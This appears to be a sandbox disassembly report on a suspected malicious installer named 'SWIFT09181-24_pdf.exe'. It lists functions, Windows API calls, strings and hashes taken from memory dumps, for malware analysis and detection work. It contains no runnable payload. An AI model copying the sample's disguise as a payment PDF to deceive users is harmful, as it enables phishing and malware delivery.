Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

-B@, xrefs: 004044C2
open, xrefs: 004044C5
Call, xrefs: 00404493
N, xrefs: 00404452

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$Call$N$open
API String ID: 3615053054-1446803726
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\SWIFT09181-24_pdf.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 100022D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@Hmu, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @Hmu
API String ID: 4216380887-887474944
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe",74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,74DF3420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe", xrefs: 0040632D
*?|<>/":, xrefs: 0040633B

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-351585049
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(000763D1,00000064,000763D5), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100024A9 Relevance: 9.1, APIs: 6, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalFree.KERNEL32(?), ref: 10002572
GlobalFree.KERNEL32(00000000), ref: 100025AD

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction ID: 76257f5bf6759f365bfcd452de7d39bb0b2322773c3eba187a8a795e141f7608
